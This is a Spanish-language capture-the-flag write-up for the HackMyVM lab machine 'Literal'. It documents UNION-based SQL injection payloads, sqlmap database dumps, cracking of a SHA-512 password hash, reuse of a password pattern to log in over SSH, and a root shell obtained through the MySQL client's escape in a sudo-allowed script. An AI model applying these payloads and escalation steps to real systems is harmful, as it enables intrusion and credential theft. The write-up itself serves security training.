cd ~/blog

~/writeups/hmv/010-literal.md

010 - Literal

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
UNION-based SQL Injection en el buscador del blogSQL Injection en el parámetro category_id del foroWeak Password con hash SHA-512 crackeable y Password Pattern ReuseSudo-Allowed Program Abuse mediante shell escape del cliente MySQL
hackmyvm.eu/machines/machine.php?vm=Literal

~2 min de lectura


Enumeración de servicios

Comenzamos con un escaneo general y uno específico de puertos:

❯ sudo nmap -sC -sV -p22,80 -oN 02-targeted 192.168.1.24
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-02 14:17 -03
Nmap scan report for 192.168.1.24
Host is up (0.00031s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 30:ca:55:94:68:33:8b:50:42:f4:c2:b5:13:99:66:fe (RSA)
|   256 2d:b0:5e:6b:96:bd:0b:e3:14:fb:e0:d0:58:84:50:85 (ECDSA)
|_  256 92:d9:2a:5d:6f:58:db:85:56:d6:0c:99:68:b8:59:64 (ED25519)
80/tcp open  http    Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://blog.literal.hmv
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 08:00:27:B0:CA:E7 (Oracle VirtualBox virtual NIC)
Service Info: Host: blog.literal.hmv; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.89 seconds

Agregamos el dominio al /etc/hosts:

192.168.1.24	blog.literal.hmv

El sitio es un blog. Lo fuzzeamos con gobuster:

❯ gobuster dir -u http://blog.literal.hmv/ -w ~/Documentos/git-clones/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt
...
/login.php            (Status: 200) [Size: 1893]
/register.php         (Status: 200) [Size: 2159]
/.php                 (Status: 403) [Size: 281]
/images               (Status: 301) [Size: 321] [--> http://blog.literal.hmv/images/]
/index.html           (Status: 200) [Size: 3325]
/logout.php           (Status: 302) [Size: 0] [--> login.php]
/config.php           (Status: 200) [Size: 0]
/fonts                (Status: 301) [Size: 320] [--> http://blog.literal.hmv/fonts/]
/dashboard.php        (Status: 302) [Size: 0] [--> login.php]
...

SQL injection en el blog

El login permite registrarse, así que creamos un usuario e iniciamos sesión. En el dashboard hay un buscador de proyectos por texto, que probamos para SQL Injection con una inyección UNION:

> ' union select 1,2,3,4,5-- -

La consulta original devuelve cinco columnas. Mantener esa cantidad en el UNION SELECT evita errores de estructura y permite identificar qué posiciones se reflejan como texto. Después usamos information_schema para enumerar metadatos sin conocer los nombres de antemano.

> ' UNION SELECT schema_name,database(),3,4,5 FROM information_schema.schemata-- -

Identificamos las bases mysql, information_schema, performance_schema y blog. Listamos las tablas del schema blog:

> ' UNION SELECT 1, GROUP_CONCAT(table_name), 3, 4, 5 FROM information_schema.tables WHERE table_schema='blog'-- -
projects
users

Y volcamos la tabla users:

> ' UNION SELECT * FROM users-- -

SQL injection en el foro y acceso SSH

Tras formatear los datos con un script en Python, descubrimos un nuevo dominio forumtesting.literal.hmv, que añadimos al /etc/hosts.

Se trata de una segunda aplicación y una SQL injection distinta. La primera vulnerabilidad descubre el virtual host; la segunda, en category_id, expone la base del foro y las credenciales que finalmente permiten llegar a SSH.

❯ sqlmap --batch --url "http://forumtesting.literal.hmv/category.php?category_id=2" -dbs
available databases [3]:
[*] forumtesting
[*] information_schema
[*] performance_schema

Enumeramos las tablas de forumtesting:

❯ sqlmap --batch --url "http://forumtesting.literal.hmv/category.php?category_id=2" -D forumtesting --tables
+----------------+
| forum_category |
| forum_owner    |
| forum_posts    |
| forum_topics   |
| forum_users    |
+----------------+

Y volcamos la tabla forum_owner, que contiene un hash:

❯ sqlmap --batch --url "http://forumtesting.literal.hmv/category.php?category_id=2" -D forumtesting -T forum_owner -dump
Database: forumtesting
Table: forum_owner
[1 entry]
+----+---------------------------------+------------+----------------------------------------------------------------------------------------------------------------------------------+----------+
| id | email                           | created    | password                                                                                                                         | username |
+----+---------------------------------+------------+----------------------------------------------------------------------------------------------------------------------------------+----------+
| 1  | carlos@forumtesting.literal.htb | 2022-02-12 | 6705fe62010679f04257358241792b41acba4ea896178a40eb63c743f5317a09faefa2e056486d55e9c05f851b222e6e7c5c1bd22af135157aa9b02201cf4e99 | carlos   |
+----+---------------------------------+------------+----------------------------------------------------------------------------------------------------------------------------------+----------+

Crackeamos el hash SHA-512 con john:

❯ john -w:/home/wh01s17/Documentos/rockyou.txt hash --format=Raw-SHA512
...
forum100889      (?)
...

Observamos una reutilización de estructura relacionada con Password Pattern Reuse: la contraseña de SSH sustituye forum por ssh.

El crackeo sólo revela forum100889. Transformarla en ssh100889 es una hipótesis basada en reutilización de patrón. La confirmamos contra SSH antes de considerarla una credencial válida.

La contraseña candidata resultante es:

ssh100889

Escalada de privilegios

Con ello iniciamos sesión por SSH como carlos y obtenemos la primera flag. Continuamos con sudo -l:

carlos@literal:~$ sudo -l
Matching Defaults entries for carlos on literal:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User carlos may run the following commands on literal:
    (root) NOPASSWD: /opt/my_things/blog/update_project_status.py *

Podemos ejecutar un script Python como root que lista parámetros vía MySQL. Según GTFOBins, podemos escapar a una shell pasando un comando con la sintaxis de escape de la consola MySQL.

El script entrega nuestro argumento al cliente interactivo de MySQL. En ese cliente, \! ejecuta una orden del sistema local. Este caso de Sudo-Allowed Program Abuse funciona porque toda la cadena fue iniciada por sudo; Bash se crea con privilegios de root aunque el script Python no sea modificable.

Pasamos el escape como argumento del script:

'\! /bin/bash'
carlos@literal:~$ sudo /opt/my_things/blog/update_project_status.py '\! /bin/bash'

Las notas registran que el escape produjo acceso como root y permitió recuperar la última flag, aunque no conservaron la salida de identidad de la shell.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados